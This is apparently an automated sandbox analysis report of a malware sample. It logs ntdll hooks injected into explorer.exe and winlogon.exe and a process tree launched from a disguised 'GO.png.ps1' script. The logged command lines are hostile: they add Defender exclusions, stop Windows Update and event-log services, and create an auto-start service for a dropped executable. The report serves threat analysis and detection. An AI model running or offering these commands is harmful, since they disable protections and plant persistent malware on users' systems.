NtDeviceIoControlFile	INLINE	explorer.exe, winlogon.exe
ZwDeviceIoControlFile	INLINE	explorer.exe, winlogon.exe
NtEnumerateKey	INLINE	explorer.exe, winlogon.exe
NtQueryDirectoryFile	INLINE	explorer.exe, winlogon.exe
ZwEnumerateValueKey	INLINE	explorer.exe, winlogon.exe
ZwQuerySystemInformation	INLINE	explorer.exe, winlogon.exe
NtResumeThread	INLINE	explorer.exe, winlogon.exe
RtlGetNativeSystemInformation	INLINE	explorer.exe, winlogon.exe
NtQueryDirectoryFileEx	INLINE	explorer.exe, winlogon.exe
NtEnumerateValueKey	INLINE	explorer.exe, winlogon.exe
ZwQueryDirectoryFileEx	INLINE	explorer.exe, winlogon.exe
ZwQueryDirectoryFile	INLINE	explorer.exe, winlogon.exe

Processes

Process: explorer.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Process: winlogon.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Target ID:	0
Start time:	08:07:14
Start date:	18/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\GO.png.ps1"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	08:07:14
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:07:20
Start date:	18/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	08:07:46
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Roaming\LB311.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\LB311.exe"
Imagebase:	0x7ff62e6f0000
File size:	7'679'488 bytes
MD5 hash:	C9E6AA21979D5FC710F1F2E8226D9DFE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 63%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	08:07:47
Start date:	18/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:07:47
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	08:07:49
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff756de0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	08:07:49
Start date:	18/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop UsoSvc
Imagebase:	0x7ff764e00000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	08:07:49
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	08:07:49
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	08:07:49
Start date:	18/12/2024
Path:	C:\Windows\System32\wusa.exe
Wow64 process (32bit):	false
Commandline:	wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff6554f0000
File size:	345'088 bytes
MD5 hash:	FBDA2B8987895780375FE0E6254F6198
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	08:07:49
Start date:	18/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop WaaSMedicSvc
Imagebase:	0x7ff764e00000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	08:07:49
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	08:07:49
Start date:	18/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop wuauserv
Imagebase:	0x7ff764e00000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	08:07:50
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	08:07:50
Start date:	18/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop bits
Imagebase:	0x7ff764e00000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	08:07:50
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	08:07:50
Start date:	18/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop dosvc
Imagebase:	0x7ff764e00000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	08:07:50
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	08:07:50
Start date:	18/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Imagebase:	0x7ff61efe0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	08:07:50
Start date:	18/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Imagebase:	0x7ff61efe0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	08:07:50
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	08:07:50
Start date:	18/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Imagebase:	0x7ff61efe0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	08:07:50
Start date:	18/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Imagebase:	0x7ff61efe0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	08:07:50
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	08:07:50
Start date:	18/12/2024
Path:	C:\Windows\System32\dialer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\dialer.exe
Imagebase:	0x7ff64e2e0000
File size:	39'936 bytes
MD5 hash:	B2626BDCF079C6516FC016AC5646DF93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	08:07:50
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	08:07:50
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	08:07:50
Start date:	18/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe delete "LIB"
Imagebase:	0x7ff764e00000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	08:07:50
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff651ec0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	08:07:50
Start date:	18/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe create "LIB" binpath= "C:\ProgramData\Mig\Mig.exe" start= "auto"
Imagebase:	0x7ff764e00000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	08:07:50
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	08:07:50
Start date:	18/12/2024
Path:	C:\Windows\System32\winlogon.exe
Wow64 process (32bit):	false
Commandline:	winlogon.exe
Imagebase:	0x7ff6cc5a0000
File size:	906'240 bytes
MD5 hash:	F8B41A1B3E569E7E6F990567F21DCE97
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	08:07:51
Start date:	18/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop eventlog
Imagebase:	0x7ff764e00000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	08:07:51
Start date:	18/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe start "LIB"
Imagebase:	0x7ff764e00000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	08:07:51
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	08:07:51
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	08:07:51
Start date:	18/12/2024
Path:	C:\ProgramData\Mig\Mig.exe
Wow64 process (32bit):	false
Commandline:	C:\ProgramData\Mig\Mig.exe
Imagebase:	0x7ff746290000
File size:	7'679'488 bytes
MD5 hash:	C9E6AA21979D5FC710F1F2E8226D9DFE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 63%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	08:07:51
Start date:	18/12/2024
Path:	C:\Windows\System32\lsass.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\lsass.exe
Imagebase:	0x7ff6b5fa0000
File size:	59'456 bytes
MD5 hash:	A1CC00332BBF370654EE3DC8CDC8C95A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	08:07:52
Start date:	18/12/2024
Path:	C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Imagebase:	0x7ff657fc0000
File size:	468'120 bytes
MD5 hash:	B3676839B2EE96983F9ED735CD044159
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	08:07:52
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	08:07:52
Start date:	18/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	45
Start time:	08:07:53
Start date:	18/12/2024
Path:	C:\Windows\System32\dwm.exe
Wow64 process (32bit):	false
Commandline:	"dwm.exe"
Imagebase:	0x7ff7751a0000
File size:	94'720 bytes
MD5 hash:	5C27608411832C5B39BA04E33D53536C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	08:07:56
Start date:	18/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	08:07:56
Start date:	18/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	48
Start time:	08:07:57
Start date:	18/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	49
Start time:	08:07:57
Start date:	18/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	50
Start time:	08:07:57
Start date:	18/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	51
Start time:	08:07:58
Start date:	18/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	52
Start time:	08:07:58
Start date:	18/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	53
Start time:	08:07:59
Start date:	18/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	54
Start time:	08:08:00
Start date:	18/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	55
Start time:	08:08:00
Start date:	18/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	56
Start time:	08:08:01
Start date:	18/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	57
Start time:	08:08:01
Start date:	18/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	58
Start time:	08:08:02
Start date:	18/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	59
Start time:	08:08:02
Start date:	18/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	60
Start time:	08:08:02
Start date:	18/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

